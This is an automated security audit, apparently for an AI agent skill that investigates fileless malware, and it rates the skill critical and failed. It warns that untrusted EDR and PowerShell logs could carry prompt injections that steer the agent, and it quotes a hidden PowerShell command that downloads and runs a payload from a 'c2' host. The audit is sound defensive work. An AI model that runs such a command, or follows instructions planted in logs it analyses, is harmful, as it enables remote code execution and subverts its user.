re-fileless
Fail
Audited by Gen Agent Trust Hub on Sep 14, 2026
Risk Level: CRITICALCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONEXTERNAL_DOWNLOADS
Full Analysis
- [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data sources including EDR alerts, PowerShell script logs, and process behavior logs in Step 1 and Step 2. These sources could contain malicious instructions designed to influence the agent's analysis behavior. Ingestion points include EDR alert signals, process logs, and PowerShell ScriptBlock logs. Capability inventory includes the use of shell commands for system inspection and forensics tools. There are no specified boundary markers or sanitization logic for the external data.
- [COMMAND_EXECUTION]: The documentation includes shell commands for system inspection and forensics, such as reg query, schtasks /query, and autorunsc64.exe. It also features an example of a malicious PowerShell command to illustrate typical fileless execution patterns: powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')".
- [EXTERNAL_DOWNLOADS]: The skill recommends installing established forensics and utility tools from official sources, including powershell via system package managers (apt, snap, brew) and the sysinternals suite via Chocolatey.
Recommendations
- CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
Audit Metadata